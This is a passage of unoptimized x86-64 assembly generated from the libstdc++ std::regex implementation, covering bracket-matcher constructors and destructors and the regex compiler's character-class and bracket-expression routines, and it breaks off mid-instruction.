mov rdi, rax call _ZNSt6vectorIcSaIcEEC1EOS1_ mov rax, QWORD PTR [rbp-8] add rax, 24 mov rdx, QWORD PTR [rbp-16] add rdx, 24 mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESaIS5_EEC1EOS7_ mov rax, QWORD PTR [rbp-8] add rax, 48 mov rdx, QWORD PTR [rbp-16] add rdx, 48 mov rsi, rdx mov rdi, rax call _ZNSt6vectorISt4pairIccESaIS1_EEC1EOS3_ mov rax, QWORD PTR [rbp-8] add rax, 72 mov rdx, QWORD PTR [rbp-16] add rdx, 72 mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx1112regex_traitsIcE10_RegexMaskESaIS3_EEC1EOS5_ mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov edx, DWORD PTR [rdx+96] mov DWORD PTR [rax+96], edx mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax+104] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+104], rdx mov rax, QWORD PTR [rbp-16] movzx edx, BYTE PTR [rax+112] mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+112], dl mov rcx, QWORD PTR [rbp-8] mov rsi, QWORD PTR [rbp-16] mov rax, QWORD PTR [rsi+120] mov rdx, QWORD PTR [rsi+128] mov QWORD PTR [rcx+120], rax mov QWORD PTR [rcx+128], rdx mov rax, QWORD PTR [rsi+136] mov rdx, QWORD PTR [rsi+144] mov QWORD PTR [rcx+136], rax mov QWORD PTR [rcx+144], rdx nop leave ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE33_M_insert_character_class_matcherILb0ELb0EEEvv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 400 mov QWORD PTR [rbp-408], rdi mov rax, QWORD PTR [rbp-408] mov rbx, QWORD PTR [rax+384] mov rax, QWORD PTR [rbp-408] mov r12, QWORD PTR [rax+392] mov rax, QWORD PTR [rbp-408] add rax, 272 mov esi, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEixEm movzx eax, BYTE PTR [rax] movsx eax, al mov edx, eax mov esi, 256 mov rdi, r12 call _ZNKSt5ctypeIcE2isEtc movzx ecx, al lea rax, [rbp-400] mov rdx, rbx mov esi, ecx mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0EEC1EbRKS3_ mov rax, QWORD PTR [rbp-408] lea rcx, [rax+272] lea rax, [rbp-400] mov edx, 0 mov rsi, rcx mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0EE22_M_add_character_classERKNS1_12basic_stringIcSt11char_traitsIcESaIcEEEb lea rax, [rbp-400] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0EE8_M_readyEv mov rax, QWORD PTR [rbp-408] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-408] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r12, rax lea rax, [rbp-400] mov rdi, rax call _ZSt4moveIRNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0EEEEONSt16remove_referenceIT_E4typeEOS8_ mov rdx, rax lea rax, [rbp-176] mov rsi, rdx mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0EEC1EOS4_ lea rdx, [rbp-176] lea rax, [rbp-208] mov rsi, rdx mov rdi, rax call _ZNSt8functionIFbcEEC1INSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0EEEvvEET_ lea rax, [rbp-208] mov rsi, rax mov rdi, r12 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_matcherESt8functionIFbcEE mov r12, rax mov rax, QWORD PTR [rbp-408] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-240] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-240] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ lea rax, [rbp-208] mov rdi, rax call _ZNSt8functionIFbcEED1Ev lea rax, [rbp-176] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0EED1Ev lea rax, [rbp-400] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0EED1Ev jmp .L1598 mov rbx, rax lea rax, [rbp-208] mov rdi, rax call _ZNSt8functionIFbcEED1Ev jmp .L1593 mov rbx, rax .L1593: lea rax, [rbp-176] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0EED1Ev jmp .L1594 mov rbx, rax .L1594: lea rax, [rbp-400] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0EED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1598: add rsp, 400 pop rbx pop r12 pop rbp ret _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 72 mov rdi, rax call _ZNSt6vectorINSt7__cxx1112regex_traitsIcE10_RegexMaskESaIS3_EED1Ev mov rax, QWORD PTR [rbp-8] add rax, 48 mov rdi, rax call _ZNSt6vectorISt4pairINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES6_ESaIS7_EED1Ev mov rax, QWORD PTR [rbp-8] add rax, 24 mov rdi, rax call _ZNSt6vectorINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESaIS5_EED1Ev mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt6vectorIcSaIcEED1Ev nop leave ret _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1EEC2EOS4_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt6vectorIcSaIcEEC1EOS1_ mov rax, QWORD PTR [rbp-8] add rax, 24 mov rdx, QWORD PTR [rbp-16] add rdx, 24 mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESaIS5_EEC1EOS7_ mov rax, QWORD PTR [rbp-8] add rax, 48 mov rdx, QWORD PTR [rbp-16] add rdx, 48 mov rsi, rdx mov rdi, rax call _ZNSt6vectorISt4pairINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES6_ESaIS7_EEC1EOS9_ mov rax, QWORD PTR [rbp-8] add rax, 72 mov rdx, QWORD PTR [rbp-16] add rdx, 72 mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx1112regex_traitsIcE10_RegexMaskESaIS3_EEC1EOS5_ mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov edx, DWORD PTR [rdx+96] mov DWORD PTR [rax+96], edx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rdx+104] mov QWORD PTR [rax+104], rdx mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax+112] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+112], rdx mov rax, QWORD PTR [rbp-16] movzx edx, BYTE PTR [rax+120] mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+120], dl mov rcx, QWORD PTR [rbp-8] mov rsi, QWORD PTR [rbp-16] mov rax, QWORD PTR [rsi+128] mov rdx, QWORD PTR [rsi+136] mov QWORD PTR [rcx+128], rax mov QWORD PTR [rcx+136], rdx mov rax, QWORD PTR [rsi+144] mov rdx, QWORD PTR [rsi+152] mov QWORD PTR [rcx+144], rax mov QWORD PTR [rcx+152], rdx nop leave ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE33_M_insert_character_class_matcherILb0ELb1EEEvv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 400 mov QWORD PTR [rbp-408], rdi mov rax, QWORD PTR [rbp-408] mov rbx, QWORD PTR [rax+384] mov rax, QWORD PTR [rbp-408] mov r12, QWORD PTR [rax+392] mov rax, QWORD PTR [rbp-408] add rax, 272 mov esi, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEixEm movzx eax, BYTE PTR [rax] movsx eax, al mov edx, eax mov esi, 256 mov rdi, r12 call _ZNKSt5ctypeIcE2isEtc movzx ecx, al lea rax, [rbp-400] mov rdx, rbx mov esi, ecx mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1EEC1EbRKS3_ mov rax, QWORD PTR [rbp-408] lea rcx, [rax+272] lea rax, [rbp-400] mov edx, 0 mov rsi, rcx mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1EE22_M_add_character_classERKNS1_12basic_stringIcSt11char_traitsIcESaIcEEEb lea rax, [rbp-400] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1EE8_M_readyEv mov rax, QWORD PTR [rbp-408] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-408] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r12, rax lea rax, [rbp-400] mov rdi, rax call _ZSt4moveIRNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1EEEEONSt16remove_referenceIT_E4typeEOS8_ mov rdx, rax lea rax, [rbp-176] mov rsi, rdx mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1EEC1EOS4_ lea rdx, [rbp-176] lea rax, [rbp-208] mov rsi, rdx mov rdi, rax call _ZNSt8functionIFbcEEC1INSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1EEEvvEET_ lea rax, [rbp-208] mov rsi, rax mov rdi, r12 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_matcherESt8functionIFbcEE mov r12, rax mov rax, QWORD PTR [rbp-408] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-240] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-240] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ lea rax, [rbp-208] mov rdi, rax call _ZNSt8functionIFbcEED1Ev lea rax, [rbp-176] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1EED1Ev lea rax, [rbp-400] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1EED1Ev jmp .L1608 mov rbx, rax lea rax, [rbp-208] mov rdi, rax call _ZNSt8functionIFbcEED1Ev jmp .L1603 mov rbx, rax .L1603: lea rax, [rbp-176] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1EED1Ev jmp .L1604 mov rbx, rax .L1604: lea rax, [rbp-400] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1EED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1608: add rsp, 400 pop rbx pop r12 pop rbp ret _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 72 mov rdi, rax call _ZNSt6vectorINSt7__cxx1112regex_traitsIcE10_RegexMaskESaIS3_EED1Ev mov rax, QWORD PTR [rbp-8] add rax, 48 mov rdi, rax call _ZNSt6vectorISt4pairIccESaIS1_EED1Ev mov rax, QWORD PTR [rbp-8] add rax, 24 mov rdi, rax call _ZNSt6vectorINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESaIS5_EED1Ev mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt6vectorIcSaIcEED1Ev nop leave ret _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0EEC2EOS4_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt6vectorIcSaIcEEC1EOS1_ mov rax, QWORD PTR [rbp-8] add rax, 24 mov rdx, QWORD PTR [rbp-16] add rdx, 24 mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESaIS5_EEC1EOS7_ mov rax, QWORD PTR [rbp-8] add rax, 48 mov rdx, QWORD PTR [rbp-16] add rdx, 48 mov rsi, rdx mov rdi, rax call _ZNSt6vectorISt4pairIccESaIS1_EEC1EOS3_ mov rax, QWORD PTR [rbp-8] add rax, 72 mov rdx, QWORD PTR [rbp-16] add rdx, 72 mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx1112regex_traitsIcE10_RegexMaskESaIS3_EEC1EOS5_ mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov edx, DWORD PTR [rdx+96] mov DWORD PTR [rax+96], edx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rdx+104] mov QWORD PTR [rax+104], rdx mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax+112] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+112], rdx mov rax, QWORD PTR [rbp-16] movzx edx, BYTE PTR [rax+120] mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+120], dl mov rcx, QWORD PTR [rbp-8] mov rsi, QWORD PTR [rbp-16] mov rax, QWORD PTR [rsi+128] mov rdx, QWORD PTR [rsi+136] mov QWORD PTR [rcx+128], rax mov QWORD PTR [rcx+136], rdx mov rax, QWORD PTR [rsi+144] mov rdx, QWORD PTR [rsi+152] mov QWORD PTR [rcx+144], rax mov QWORD PTR [rcx+152], rdx nop leave ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE33_M_insert_character_class_matcherILb1ELb0EEEvv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 400 mov QWORD PTR [rbp-408], rdi mov rax, QWORD PTR [rbp-408] mov rbx, QWORD PTR [rax+384] mov rax, QWORD PTR [rbp-408] mov r12, QWORD PTR [rax+392] mov rax, QWORD PTR [rbp-408] add rax, 272 mov esi, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEixEm movzx eax, BYTE PTR [rax] movsx eax, al mov edx, eax mov esi, 256 mov rdi, r12 call _ZNKSt5ctypeIcE2isEtc movzx ecx, al lea rax, [rbp-400] mov rdx, rbx mov esi, ecx mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0EEC1EbRKS3_ mov rax, QWORD PTR [rbp-408] lea rcx, [rax+272] lea rax, [rbp-400] mov edx, 0 mov rsi, rcx mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0EE22_M_add_character_classERKNS1_12basic_stringIcSt11char_traitsIcESaIcEEEb lea rax, [rbp-400] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0EE8_M_readyEv mov rax, QWORD PTR [rbp-408] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-408] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r12, rax lea rax, [rbp-400] mov rdi, rax call _ZSt4moveIRNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0EEEEONSt16remove_referenceIT_E4typeEOS8_ mov rdx, rax lea rax, [rbp-176] mov rsi, rdx mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0EEC1EOS4_ lea rdx, [rbp-176] lea rax, [rbp-208] mov rsi, rdx mov rdi, rax call _ZNSt8functionIFbcEEC1INSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0EEEvvEET_ lea rax, [rbp-208] mov rsi, rax mov rdi, r12 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_matcherESt8functionIFbcEE mov r12, rax mov rax, QWORD PTR [rbp-408] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-240] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-240] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ lea rax, [rbp-208] mov rdi, rax call _ZNSt8functionIFbcEED1Ev lea rax, [rbp-176] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0EED1Ev lea rax, [rbp-400] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0EED1Ev jmp .L1618 mov rbx, rax lea rax, [rbp-208] mov rdi, rax call _ZNSt8functionIFbcEED1Ev jmp .L1613 mov rbx, rax .L1613: lea rax, [rbp-176] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0EED1Ev jmp .L1614 mov rbx, rax .L1614: lea rax, [rbp-400] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0EED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1618: add rsp, 400 pop rbx pop r12 pop rbp ret _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 72 mov rdi, rax call _ZNSt6vectorINSt7__cxx1112regex_traitsIcE10_RegexMaskESaIS3_EED1Ev mov rax, QWORD PTR [rbp-8] add rax, 48 mov rdi, rax call _ZNSt6vectorISt4pairINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES6_ESaIS7_EED1Ev mov rax, QWORD PTR [rbp-8] add rax, 24 mov rdi, rax call _ZNSt6vectorINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESaIS5_EED1Ev mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt6vectorIcSaIcEED1Ev nop leave ret _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1EEC2EOS4_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt6vectorIcSaIcEEC1EOS1_ mov rax, QWORD PTR [rbp-8] add rax, 24 mov rdx, QWORD PTR [rbp-16] add rdx, 24 mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESaIS5_EEC1EOS7_ mov rax, QWORD PTR [rbp-8] add rax, 48 mov rdx, QWORD PTR [rbp-16] add rdx, 48 mov rsi, rdx mov rdi, rax call _ZNSt6vectorISt4pairINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES6_ESaIS7_EEC1EOS9_ mov rax, QWORD PTR [rbp-8] add rax, 72 mov rdx, QWORD PTR [rbp-16] add rdx, 72 mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx1112regex_traitsIcE10_RegexMaskESaIS3_EEC1EOS5_ mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov edx, DWORD PTR [rdx+96] mov DWORD PTR [rax+96], edx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rdx+104] mov QWORD PTR [rax+104], rdx mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax+112] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+112], rdx mov rax, QWORD PTR [rbp-16] movzx edx, BYTE PTR [rax+120] mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+120], dl mov rcx, QWORD PTR [rbp-8] mov rsi, QWORD PTR [rbp-16] mov rax, QWORD PTR [rsi+128] mov rdx, QWORD PTR [rsi+136] mov QWORD PTR [rcx+128], rax mov QWORD PTR [rcx+136], rdx mov rax, QWORD PTR [rsi+144] mov rdx, QWORD PTR [rsi+152] mov QWORD PTR [rcx+144], rax mov QWORD PTR [rcx+152], rdx nop leave ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE33_M_insert_character_class_matcherILb1ELb1EEEvv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 400 mov QWORD PTR [rbp-408], rdi mov rax, QWORD PTR [rbp-408] mov rbx, QWORD PTR [rax+384] mov rax, QWORD PTR [rbp-408] mov r12, QWORD PTR [rax+392] mov rax, QWORD PTR [rbp-408] add rax, 272 mov esi, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEixEm movzx eax, BYTE PTR [rax] movsx eax, al mov edx, eax mov esi, 256 mov rdi, r12 call _ZNKSt5ctypeIcE2isEtc movzx ecx, al lea rax, [rbp-400] mov rdx, rbx mov esi, ecx mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1EEC1EbRKS3_ mov rax, QWORD PTR [rbp-408] lea rcx, [rax+272] lea rax, [rbp-400] mov edx, 0 mov rsi, rcx mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1EE22_M_add_character_classERKNS1_12basic_stringIcSt11char_traitsIcESaIcEEEb lea rax, [rbp-400] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1EE8_M_readyEv mov rax, QWORD PTR [rbp-408] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-408] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r12, rax lea rax, [rbp-400] mov rdi, rax call _ZSt4moveIRNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1EEEEONSt16remove_referenceIT_E4typeEOS8_ mov rdx, rax lea rax, [rbp-176] mov rsi, rdx mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1EEC1EOS4_ lea rdx, [rbp-176] lea rax, [rbp-208] mov rsi, rdx mov rdi, rax call _ZNSt8functionIFbcEEC1INSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1EEEvvEET_ lea rax, [rbp-208] mov rsi, rax mov rdi, r12 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_matcherESt8functionIFbcEE mov r12, rax mov rax, QWORD PTR [rbp-408] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-240] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-240] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ lea rax, [rbp-208] mov rdi, rax call _ZNSt8functionIFbcEED1Ev lea rax, [rbp-176] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1EED1Ev lea rax, [rbp-400] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1EED1Ev jmp .L1628 mov rbx, rax lea rax, [rbp-208] mov rdi, rax call _ZNSt8functionIFbcEED1Ev jmp .L1623 mov rbx, rax .L1623: lea rax, [rbp-176] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1EED1Ev jmp .L1624 mov rbx, rax .L1624: lea rax, [rbp-400] mov rdi, rax call _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1EED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1628: add rsp, 400 pop rbx pop r12 pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE21_M_bracket_expressionEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov esi, 10 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE mov BYTE PTR [rbp-1], al movzx eax, BYTE PTR [rbp-1] xor eax, 1 test al, al je .L1630 mov rax, QWORD PTR [rbp-24] mov esi, 9 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE xor eax, 1 test al, al je .L1630 mov eax, 1 jmp .L1631 .L1630: mov eax, 0 .L1631: test al, al je .L1632 mov eax, 0 jmp .L1633 .L1632: mov rax, QWORD PTR [rbp-24] mov eax, DWORD PTR [rax] mov esi, 1 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax sete al test al, al je .L1634 mov rax, QWORD PTR [rbp-24] mov eax, DWORD PTR [rax] mov esi, 8 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax sete al test al, al je .L1635 movzx edx, BYTE PTR [rbp-1] mov rax, QWORD PTR [rbp-24] mov esi, edx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE25_M_insert_bracket_matcherILb0ELb0EEEvb jmp .L1637 .L1635: movzx edx, BYTE PTR [rbp-1] mov rax, QWORD PTR [rbp-24] mov esi, edx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE25_M_insert_bracket_matcherILb0ELb1EEEvb jmp .L1637 .L1634: mov rax, QWORD PTR [rbp-24] mov eax, DWORD PTR [rax] mov esi, 8 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax sete al test al, al je .L1638 movzx edx, BYTE PTR [rbp-1] mov rax, QWORD PTR [rbp-24] mov esi, edx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE25_M_insert_bracket_matcherILb1ELb0EEEvb jmp .L1637 .L1638: movzx edx, BYTE PTR [rbp-1] mov rax, QWORD PTR [rbp-24] mov esi, edx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE25_M_insert_bracket_matcherILb1ELb1EEEvb .L1637: mov eax, 1 .L1633: leave ret _ZNKSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE5emptyEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE5emptyEv leave ret _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE16_M_insert_repeatEllb: push rbp mov rbp, rsp push rbx sub rsp, 136 mov 